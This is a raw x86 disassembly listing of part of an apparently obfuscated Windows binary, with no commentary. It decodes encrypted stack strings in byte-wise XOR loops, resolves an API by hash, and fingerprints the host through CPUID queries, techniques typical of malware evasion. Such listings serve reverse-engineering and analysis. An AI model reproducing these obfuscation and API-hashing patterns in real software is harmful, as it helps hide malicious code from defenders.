add edx, 2
add eax, ebx
lea ebx, [edi + eax]
cmp eax, 0x55
jae 0x4280ec
movzx ecx, word [edx]
test cx, cx
je 0x4280ec
cmp cx, 0x7f
jbe 0x428030
mov dword [esi + 8], eax
mov dword [esi + 4], edx
mov edx, ebx
not edx
add edx, dword [esi + 0x30]
movzx eax, cx
mov dword [esi], eax
cmp edx, 2
jb 0x4280a0
cmp dword [esi], 0x7ff
ja 0x4280a0
mov edx, ecx
shr edx, 6
add dl, 0xc0
mov byte [ebx], dl
and cl, 0x3f
or cl, 0x80
mov byte [ebx + 1], cl
mov ebx, 2
mov edx, dword [esi + 4]
mov eax, dword [esi + 8]
jmp 0x428037
mov dword [esi + 0xc], ebx
xor ebx, ebx
cmp edx, 3
mov edx, dword [esi + 4]
mov eax, dword [esi + 8]
jb 0x428037
mov edx, dword [esi]
shr edx, 0xc
or dl, 0xe0
mov ebx, dword [esi + 0xc]
mov byte [ebx], dl
mov edx, dword [esi + 4]
mov eax, dword [esi]
shr eax, 6
and al, 0x3f
or al, 0x80
mov dword [esi], eax
mov ebx, dword [esi + 0xc]
mov eax, dword [esi]
mov byte [ebx + 1], al
mov eax, dword [esi + 8]
and cl, 0x3f
or cl, 0x80
mov ebx, dword [esi + 0xc]
mov byte [ebx + 2], cl
mov ebx, 3
jmp 0x428037
mov byte [ebx], 0
mov dword [esi + 0x1dc], 0x99a7bbdf
mov dword [esi + 0x1e0], 0xbc626e67
mov dword [esi + 0x1e4], 0x656d678b
mov word [esi + 0x1e8], 0x9862
mov byte [esi + 0x1ea], 0xd3
mov word [esi + 0x1eb], 0
mov byte [esi + 0x1ed], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x38]
cmp ecx, 0x11
ja 0x428183
nop
nop
nop
nop
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x38]
movzx edx, byte [esi + edx + 0x1dc]
lea ebx, [ecx + 0x6d]
and ebx, edx
add ecx, edx
add ebx, ebx
sub ecx, ebx
add ecx, 0x4751e56d
mov dword [esi + 0xcc], ecx
mov ecx, dword [esi + 0xcc]
add cl, 0x58
mov edx, dword [esi + 0x38]
mov byte [esi + edx + 0x1dc], cl
inc dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
cmp ecx, 0x12
jb 0x428140
add edi, eax
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x4281ab
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4281a0
mov byte [edi], 0
call fcn.0042ea30
xor edx, edx
test eax, eax
setne dl
mov dword [esi], eax
mov ecx, eax
jmp dword [edx*4 + 0x447940]
mov dword [esi + 0x1dc], 0x175b7e7c
mov dword [esi + 0x1e0], 0xd8e6e4c4
mov byte [esi + 0x1e4], 0x72
mov dword [esi + 0x1e5], 0
mov byte [esi + 0x1e9], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0xd
ja 0x428238
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0xbb17f8bd
xor eax, ecx
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0xcc]
add al, 0x49
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0xe
jb 0x428200
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x42825b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x428250
mov byte [edi], 0
mov ebx, edi
jmp case.0x427b38.17
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebx
jmp dword [eax*4 + 0x447970]
jmp dword [0x447948]
xor edx, edx
cmp al, 1
sete dl
jmp dword [edx*4 + 0x447968]
mov dword [esi + 0x1dc], 0xece4ee15
mov dword [esi + 0x1e0], 0xf5f915ed
mov word [esi + 0x1e4], 0xb31f
lea eax, [esi + 0x1e6]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 0xe
lea edi, [esi + 0x1dc]
ja 0x428312
mov eax, dword [esi + 0x68]
mov edx, dword [esi + 0x68]
movzx edx, byte [esi + edx + 0x1dc]
add eax, 0x4a574791
xor eax, edx
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x38]
add al, 0xd7
mov edx, dword [esi + 0x68]
mov byte [esi + edx + 0x1dc], al
inc dword [esi + 0x68]
mov eax, dword [esi + 0x68]
cmp eax, 0xf
jb 0x4282e0
mov edx, edi
jmp case.0x422a93.232
mov dword [esi + 0xcc], 0x889e9c89
mov byte [esi + 0xd0], 0xea
lea eax, [esi + 0xd1]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 9
ja 0x42838e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x68]
mov edx, dword [esi + 0x68]
movzx edx, byte [esi + edx + 0xcc]
lea edi, [eax + 0xf8]
and edi, edx
add eax, edx
add edi, edi
sub eax, edi
add eax, 0xb21c99f8
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x38]
add al, 0xea
mov edx, dword [esi + 0x68]
mov byte [esi + edx + 0xcc], al
inc dword [esi + 0x68]
mov eax, dword [esi + 0x68]
cmp eax, 0xa
jb 0x428350
lea edx, [esi + 0xcc]
inc ebx
movzx eax, byte [edx]
test al, al
je 0x4283ab
inc edx
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x4283a0
mov byte [ebx], 0
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebx
jmp dword [eax*4 + 0x447970]
mov dword [edi], 0x202d090a
lea edx, [edi + 4]
mov eax, dword [ecx + 8]
movzx ebx, byte [eax]
test bl, bl
je 0x4283eb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], bl
inc edx
movzx ebx, byte [eax]
inc eax
test bl, bl
jne 0x4283e0
mov byte [edx], 0
mov dword [edi], 0x202d090a
lea ebx, [edi + 4]
mov eax, dword [ecx + 8]
movzx edx, byte [eax]
test dl, dl
je 0x42841b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [eax]
inc eax
test dl, dl
jne 0x428410
mov byte [ebx], 0
jmp dword [0x447950]
xor eax, eax
cmp byte [ecx + 4], 3
setb al
jmp dword [eax*4 + 0x447958]
mov byte [ebx], 0x20
movzx eax, byte [ecx + 4]
xor edx, edx
test al, al
sete dl
jmp dword [edx*4 + 0x447960]
mov dword [esi + 0x38], 0x1514e2d7
mov dword [esi + 0x3c], 0xcd29
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 7
ja 0x42849c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x14]
mov edx, dword [esi + 0x14]
movzx edx, byte [esi + edx + 0x38]
add eax, 0x74afeafe
xor eax, edx
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x68]
add al, 0x32
mov edx, dword [esi + 0x14]
mov byte [esi + edx + 0x38], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 8
jb 0x428470
lea edx, [esi + 0x38]
jmp case.0x422a93.232
jmp dword [0x447978]
mov ecx, dword [esi]
mov edi, ecx
call fcn.00432430
push edi
call fcn.00409630
add esp, 4
jmp case.0x427b38.17
mov dword [esi + 0x1dc], 0x5e27331f
mov dword [esi + 0x1e0], 0x485f5b68
mov dword [esi + 0x1e4], 0x1c3d
mov byte [esi + 0x1e8], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0xc
ja 0x428538
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0x6fee6e08
xor eax, ecx
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0xcc]
add al, 0xf3
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0xd
jb 0x428500
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x42855b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x428550
mov byte [ebx], 0
movzx eax, byte [0x4495a8]
test al, al
je 0x428581
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [ebx + ecx], al
movzx eax, byte [ecx + 0x4495a9]
inc ecx
test al, al
jne 0x428570
add ebx, ecx
mov dword [esi], ebx
mov byte [ebx], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0xa0], 0
push 0xd7ec7170
push dword [0x44a910]
call fcn.0043e950
add esp, 8
lea ecx, [esi + 0xa0]
push ecx
call eax
mov eax, dword [esi + 0xa0]
mov ebx, dword [esi + 0xa4]
shld ebx, eax, 0x16
mov byte [esi + 0x1c3], 0
je 0x42861e
lea edi, [esi + 0x1c3]
cmp ebx, 0x64
jb 0x42862d
nop
nop
nop
nop
nop
nop
mov eax, ebx
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, ebx
sub ecx, eax
movzx eax, word [ecx + ecx + 0x442318]
mov word [edi - 2], ax
add edi, 0xfffffffe
cmp ebx, 0x270f
mov ebx, edx
ja 0x4285e0
cmp edx, 9
ja 0x428634
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [edi - 1], al
dec edi
jmp 0x428643
lea edi, [esi + 0x1c2]
mov byte [esi + 0x1c2], 0x30
jmp 0x428643
mov edx, ebx
cmp edx, 9
jbe 0x428611
movzx eax, word [edx + edx + 0x442318]
mov word [edi - 2], ax
add edi, 0xfffffffe
mov edx, dword [esi]
mov word [esi + 0xcc], 0x4d43
mov byte [esi + 0xce], 0x90
mov word [esi + 0xcf], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 4
ja 0x4286a8
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0xcc]
add eax, 0x4d0144e
xor eax, ecx
mov dword [esi + 0x1dc], eax
mov eax, dword [esi + 0x1dc]
add al, 0x40
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0xcc], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 5
jb 0x428670
mov dword [esi + 0x1dc], 0x5386b0ee
mov dword [esi + 0x1e0], 0x508254a3
mov dword [esi + 0x1e4], 0xb3417547
mov word [esi + 0x1e8], 0xeb88
mov dword [esi + 0x1ea], 0
mov word [esi + 0x1ee], 0
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 0x13
ja 0x428732
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0xac1c58d1
xor eax, ecx
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x38]
add al, 0xcb
mov ecx, dword [esi + 0x68]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x68]
mov eax, dword [esi + 0x68]
cmp eax, 0x14
jb 0x428700
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x42875b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x428750
mov byte [edx], 0
movzx eax, byte [edi]
test al, al
je 0x42877b
inc edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x428770
mov byte [edx], 0
movzx eax, byte [esi + 0xcc]
test al, al
je 0x42879b
lea ecx, [esi + 0xcd]
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x428790
xor eax, eax
xor ecx, ecx
mov edi, edx
cpuid
mov dword [esi + 0x1a8], ebx
mov dword [esi + 0x1ac], edx
mov byte [edi], 0
mov dword [esi + 0x1b0], ecx
mov byte [esi + 0x1b4], 0
mov dword [esi + 0x1dc], 0xafcbc7e3
mov dword [esi + 0x1e0], 0xb8cfbbbd
mov dword [esi + 0x1e4], 0x83979e96
mov dword [esi + 0x1e8], 0xf6d7ce87
mov word [esi + 0x1ec], 0
mov byte [esi + 0x1ee], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0x12
ja 0x428869
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx edx, byte [esi + ecx + 0x1dc]
lea ecx, [eax + edx]
add ecx, 0xab8f7e8
add eax, 0xab8f7e8
and eax, edx
mov edx, ecx
xor edx, eax
add edx, eax
not eax
and eax, ecx
add eax, eax
sub eax, edx
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0xcc]
mov ecx, eax
xor ecx, 1
and eax, 0x7e
add eax, eax
sub eax, ecx
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0x13
jb 0x428810
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x42888b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x428880
mov byte [edi], 0
movzx eax, byte [esi + 0x1a8]
test al, al
je 0x4288ab
lea ecx, [esi + 0x1a9]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4288a0
mov dword [esi], edi
mov byte [edi], 0
mov eax, reloc.OLEAUT32.dll_SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], edx
mov eax, SysStringLen
mov ecx, 0
cpuid
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x50], ecx
mov dword [esi + 0x54], edx
mov eax, SysStringLen
mov ecx, 0
cpuid
mov dword [esi + 0x58], eax
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ecx
mov dword [esi + 0x64], edx
lea edx, [esi + 0x98]
lea eax, [esi + 0x68]
lea ebx, [esi + 0x38]
mov edi, eax
mov ecx, 0xc
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
lea ebx, [esi + 0x68]
mov edi, edx
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, edx
dec ecx
xor ebx, ebx
cmp byte [edx - 1], 0x20
sete bl
jmp dword [ebx*4 + 0x447980]
mov byte [ecx], 0
xor edx, edx
cmp byte [ecx - 1], 0x20
lea ecx, [ecx - 1]
sete dl
jmp dword [edx*4 + 0x447980]
xor ecx, ecx
cmp byte [eax], 0x20
sete cl
jmp dword [ecx*4 + 0x447988]
inc eax
xor ecx, ecx
cmp byte [eax], 0x20
sete cl
jmp dword [ecx*4 + 0x447988]
mov dword [esi + 0x1dc], 0xd7b3af8b
mov dword [esi + 0x1e0], 0xc8b7c3c5
mov dword [esi + 0x1e4], 0xe0ccd7ca
mov dword [esi + 0x1e8], 0xac8d
mov byte [esi + 0x1ec], 0
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0x10
mov ebx, dword [esi]
ja 0x428a01
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x14]
movzx edi, byte [esi + edx + 0x1dc]
lea edx, [ecx + edi]
add edx, 0x4ac1a698
add ecx, 0x4ac1a698
and ecx, edi
mov edi, edx
not edi
and edi, ecx
add edi, ecx
not ecx
and ecx, edx
sub ecx, edi
mov dword [esi + 0xcc], ecx
mov ecx, dword [esi + 0xcc]
add cl, 0xf7
mov edx, dword [esi + 0x14]
mov byte [esi + edx + 0x1dc], cl
inc dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
cmp ecx, 0x11
jb 0x4289b0
movzx ecx, byte [esi + 0x1dc]
test cl, cl
je 0x428a2b
lea edx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x428a20
mov byte [ebx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x428a4c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax + 1]
inc eax
test cl, cl
jne 0x428a40
mov byte [ebx], 0
mov dword [esi + 0x14], 0x494a4b4c
mov dword [esi + 0xcc], 0
mov eax, dword [esi + 0xcc]
cmp eax, 3
ja 0x428ab1
nop
nop
nop
nop
nop
mov eax, dword [esi + 0xcc]
mov ecx, dword [esi + 0xcc]
movzx ecx, byte [esi + ecx + 0x14]
add eax, 0xc315bc3b
xor eax, ecx
mov dword [esi + 0x1dc], eax
mov eax, dword [esi + 0x1dc]
add al, 0x88
mov ecx, dword [esi + 0xcc]
mov byte [esi + ecx + 0x14], al
inc dword [esi + 0xcc]
mov eax, dword [esi + 0xcc]
cmp eax, 4
jb 0x428a70
mov eax, dword [esi + 0x14]
mov ecx, dword [0x44a91c]
test ecx, ecx
je case.default.0x428b0d
xor edx, edx
mov edi, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xcecd21fd
je 0x428ae0
inc edx
cmp ecx, edx
jne 0x428ad0
jmp case.default.0x428b0d
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je case.default.0x428b0d
lea eax, [esi + 0x1dc]
push 0
push 0x2c
push eax
push 0
push 4
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x1c
not eax
shr eax, 0x1f
mov dword [esi], ebx
jmp dword [eax*4 + 0x447990]
mov dword [esi + 4], 0
jmp 0x428b27
movzx eax, byte [esi + 0x204]
mov dword [esi + 4], eax
mov eax, 0xb
xor ecx, ecx
cpuid
sar ecx, 8
mov eax, ecx
xor eax, 0xffffff00
or ecx, 0xff
and ecx, eax
xor eax, eax
cmp ecx, 1
sete al
jmp dword [eax*4 + 0x447998]
mov eax, 0xb
mov ecx, 1
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x4479a0]
movzx edi, byte [esi + 4]
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x428c77
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x428c35
mov dword [esi + 8], ebx
mov eax, 0xb
xor ecx, ecx
cpuid
mov edi, ebx
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x200
sete al
jmp dword [eax*4 + 0x4479a8]
mov eax, 0xb
mov ecx, 1
cpuid
mov edi, ebx
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x200
sete al
jmp dword [eax*4 + 0x4479b0]
movzx edi, byte [esi + 4]
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x428cad
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x428c35
xor eax, eax
mov ecx, dword [esi + 8]
test cx, cx
sete al
jmp dword [eax*4 + 0x4479b8]
mov eax, edi
xor edx, edx
div cx
movzx eax, ax
jmp case.0x422a93.258
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x428c3d
mov eax, 4
xor ecx, ecx
cpuid
sar eax, 0x1a
jmp 0x428ce4
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 4], eax
mov eax, 1
xor ecx, ecx
cpuid
mov eax, 1
test edx, 0x10000000
je case.0x422a93.258
cmp dword [esi + 4], reloc.OLEAUT32.dll_VariantClear
jl case.0x422a93.258
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
jmp 0x428ce1
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 4], eax
mov eax, 1
xor ecx, ecx
cpuid
mov eax, 1
test edx, 0x10000000
je case.0x422a93.258
cmp dword [esi + 4], reloc.OLEAUT32.dll_VariantClear
jl case.0x422a93.258
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
jmp 0x428ce1
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 4], eax
mov eax, 1
xor ecx, ecx
cpuid
mov eax, 1
test edx, 0x10000000
je case.0x422a93.258
cmp dword [esi + 4], reloc.OLEAUT32.dll_VariantClear
jl case.0x422a93.258
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
movzx eax, cl
inc eax
mov dword [esi + 4], eax
mov byte [esi + 0x13], 0
test di, di
je 0x428d36
lea eax, [esi + 0x13]
cmp di, 0x64
jb 0x428d3f
nop
nop
nop
nop
nop
nop
movzx ebx, di
mov edx, ebx
shr edx, 2
imul edx, edx, 0x147b
shr edx, 0x11
mov ecx, edi
imul edi, edx, 0x64
sub ecx, edi
movzx edi, cx
movzx edi, word [edi + edi + 0x442318]
mov word [eax - 2], di
add eax, 0xfffffffe
mov edi, edx
cmp ebx, 0x270f
ja 0x428d00
jmp 0x428d41
lea eax, [esi + 0x12]
mov byte [esi + 0x12], 0x30
jmp 0x428d66
mov edx, edi
movzx edx, dx
cmp dx, 9
ja 0x428d57
movzx edx, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [eax - 1], dl
dec eax
jmp 0x428d66
movzx edx, word [edx + edx + 0x442318]
mov word [eax - 2], dx
add eax, 0xfffffffe
mov dword [esi + 0x1dc], 0x82e1cc6
mov dword [esi + 0x1e0], 0x552087c
mov dword [esi + 0x1e4], 0x121d2118
mov dword [esi + 0x1e8], 0x59642e10
mov byte [esi + 0x1ec], 0xb8
mov word [esi + 0x1ed], 0
mov byte [esi + 0x1ef], 0
mov dword [esi + 0x14], 0
mov edx, dword [esi + 0x14]
cmp edx, 0x13
ja 0x428dfa
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x14]
mov edi, dword [esi + 0x14]
movzx edi, byte [esi + edi + 0x1dc]
add edx, 0x9c5c99bb
xor edx, edi
mov dword [esi + 0xcc], edx
mov edx, dword [esi + 0xcc]
add dl, 0x8d
mov edi, dword [esi + 0x14]
mov byte [esi + edi + 0x1dc], dl
inc dword [esi + 0x14]
mov edx, dword [esi + 0x14]
cmp edx, 0x14
jb 0x428dc0
movzx edx, byte [esi + 0x1dc]
test dl, dl
je 0x428e1d
lea edi, [esi + 0x1dd]
mov ebx, dword [esi]
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x428e10
jmp 0x428e1f
mov ebx, dword [esi]
mov edi, ebx
mov byte [ebx], 0
movzx edx, byte [eax]
test dl, dl
je 0x428e3d
inc eax
mov ebx, edi
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [eax]
inc eax
test dl, dl
jne 0x428e30
jmp 0x428e3f
mov ebx, edi
mov edi, ebx
mov byte [ebx], 0
mov byte [esi + 0x13], 0
mov eax, dword [esi + 4]
test al, al
je 0x428e7a
movzx ecx, al
cmp al, 0x64
jb 0x428e83
lea edx, [ecx + ecx*4]
lea ecx, [ecx + edx*8]
shr ecx, 0xc
imul edx, ecx, 0x64
sub al, dl
movzx eax, al
movzx eax, word [eax + eax + 0x442318]
mov word [esi + 0x11], ax
mov edx, 0xfffffffd
jmp 0x428e8c
lea eax, [esi + 0x12]
mov byte [esi + 0x12], 0x30
jmp 0x428eae
mov edx, 0xffffffff
cmp al, 9
ja 0x428e9f
lea eax, [esi + 0x14]
movzx ecx, byte [ecx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
add eax, edx
dec eax
mov byte [esi + edx + 0x13], cl
jmp 0x428eae
movzx ecx, word [ecx + ecx + 0x442318]
lea eax, [esi + 0x11]
mov word [esi + 0x11], cx
mov dword [esi + 0x1dc], 0x3cdad8fa
mov dword [esi + 0x1e0], 0x38de2c28
mov dword [esi + 0x1e4], 0x4170b0f
mov word [esi + 0x1e8], 0xd13e
mov byte [esi + 0x1ea], 0xf6
mov dword [esi + 0x1eb], 0
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0x12
ja 0x428f3a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x14]
movzx edx, byte [esi + edx + 0x1dc]
add ecx, 0x5598af2e
xor ecx, edx
mov dword [esi + 0xcc], ecx
mov ecx, dword [esi + 0xcc]
add cl, 0x36
mov edx, dword [esi + 0x14]
mov byte [esi + edx + 0x1dc], cl
inc dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
cmp ecx, 0x13
jb 0x428f00
movzx ecx, byte [esi + 0x1dc]
test cl, cl
je 0x428f5b
lea edx, [esi + 0x1dd]
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x428f50
mov edx, edi
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x428f7b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x428f70
mov edi, edx
mov byte [edx], 0
mov dword [esi + 0x1dc], 0x9a747e40
mov dword [esi + 0x1e0], 0x716a8a86
mov byte [esi + 0x1e4], 0x52
mov word [esi + 0x1e5], 0
mov byte [esi + 0x1e7], 0
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0xb
ja 0x429005
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx edx, byte [esi + ecx + 0x1dc]
lea ecx, [eax + edx]
add eax, 0x8e
and eax, edx
add eax, eax
sub ecx, eax
add ecx, 0x25669d8e
mov dword [esi + 0xcc], ecx
mov eax, dword [esi + 0xcc]
add al, 0x3c
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0xc
jb 0x428fc0
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x42902b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x429020
mov dword [esi], edi
mov byte [edi], 0
mov eax, dword [0x449604]
mov dword [esi + 0x1dc], 0x63f561e9
mov dword [esi + 0x1e0], 0x67f665c5
mov dword [esi + 0x1e4], 0x6bba69b3
mov dword [esi + 0x1e8], 0x6fc86d84
mov dword [esi + 0x1ec], 0x53fc51c2
mov word [esi + 0x1f0], 0x5552
mov dword [esi + 0x1f2], 0
mov word [esi + 0x1f6], 0
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0x1b
ja 0x4290da
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x14]
movzx edx, byte [esi + edx + 0x1dc]
add ecx, 0x8e61568f
xor ecx, edx
mov dword [esi + 0xcc], ecx
mov ecx, dword [esi + 0xcc]
add cl, 0xf
mov edx, dword [esi + 0x14]
mov byte [esi + edx + 0x1dc], cl
inc dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
cmp ecx, 0x1c
jb 0x4290a0
lea ebx, [esi + 0x1dc]
push 0x800
push 0
push ebx
call eax
mov dword [esi + 0xac], 0
mov dword [esi + 0xb0], 0
lea ecx, [esi + 0xac]
mov dword [esi + 0x30], eax
push eax
call fcn.0043c760
movzx eax, al
jmp dword [eax*4 + 0x4479c0]
mov edi, dword [esi]
mov edx, dword [esi + 0x98]
jmp 0x429483
lea eax, [esi + 0x1e0]
push 0x344
push 0
push eax
call fcn.004096a0
add esp, 0xc
mov dword [esi + 0x1dc], 0x348
push 0x3733e33b
push dword [esi + 0xac]
call fcn.0043e950
add esp, 8
push 0
push ebx
push 0
push 0
call eax
lea eax, [esi + 0x220]
mov ecx, dword [esi]
lea edx, [ecx + 0x80]
mov dword [esi + 8], edx
xor edx, edx
jmp 0x429199
mov byte [ecx], bl
mov edi, 1
add eax, 2
add edx, edi
mov ecx, dword [esi]
add ecx, edx
cmp edx, 0x7f
jae 0x429234
movzx ebx, word [eax]
test bx, bx
je 0x429234
cmp bx, 0x7f
jbe 0x429180
mov dword [esi + 4], edx
mov edx, ecx
not edx
add edx, dword [esi + 8]
movzx edi, bx
cmp edx, 2
jb 0x4291f0
cmp edi, 0x7ff
ja 0x4291f0
mov edx, ebx
shr edx, 6
add dl, 0xc0
mov byte [ecx], dl
and bl, 0x3f
or bl, 0x80
mov byte [ecx + 1], bl
mov edi, 2
